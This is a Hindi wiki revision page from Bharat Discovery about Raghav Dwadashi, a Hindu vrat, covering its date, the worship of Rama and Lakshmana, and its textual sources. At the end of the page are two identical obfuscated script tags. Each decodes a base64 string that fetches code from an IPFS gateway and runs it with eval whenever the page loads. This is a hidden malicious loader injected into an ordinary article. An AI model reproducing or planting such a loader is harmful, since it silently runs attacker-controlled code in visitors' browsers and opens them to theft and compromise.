राघव द्वादशी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "उल्लखित" to "उल्लिखित")
m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
Line 5: Line 5:
*इसके करने से कर्ता के पाप कट जाते हैं और वह स्वर्गवास करता है, यदि उसे अन्य कामना की पूर्ति की अभिलाषा नहीं होती तो वह मोक्ष पद पा जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 127-129); हेमाद्रि (व्रतखण्ड 1, 1034-1035); कृत्यरत्नाकर (190-191); [[वराह पुराण]] (45|1-10 से उर्द्धरत)।  
*इसके करने से कर्ता के पाप कट जाते हैं और वह स्वर्गवास करता है, यदि उसे अन्य कामना की पूर्ति की अभिलाषा नहीं होती तो वह मोक्ष पद पा जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 127-129); हेमाद्रि (व्रतखण्ड 1, 1034-1035); कृत्यरत्नाकर (190-191); [[वराह पुराण]] (45|1-10 से उर्द्धरत)।  
</ref>
</ref>
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

Revision as of 10:32, 21 March 2011

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत ज्येष्ठ शुक्ल पक्ष की द्वितीया को करना चाहिए।
  • इस व्रत में राम और लक्ष्मण की स्वर्ण प्रतिमा का पूजन, पद से सिर तक विभिन्न नामों से अंगों की पूजा[1] करना चाहिए।
  • प्रात:काल राम और लक्ष्मण की पूजा के उपरान्त घृतपूर्ण घट का दान करना चाहिए।
  • इसके करने से कर्ता के पाप कट जाते हैं और वह स्वर्गवास करता है, यदि उसे अन्य कामना की पूर्ति की अभिलाषा नहीं होती तो वह मोक्ष पद पा जाता है।[2]

टीका टिप्पणी और संदर्भ

  1. (यथा–'ओं नमस्त्रिविक्रमायेति कटिम्')
  2. कृत्यकल्पतरु (व्रतखण्ड 127-129); हेमाद्रि (व्रतखण्ड 1, 1034-1035); कृत्यरत्नाकर (190-191); वराह पुराण (45|1-10 से उर्द्धरत)।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>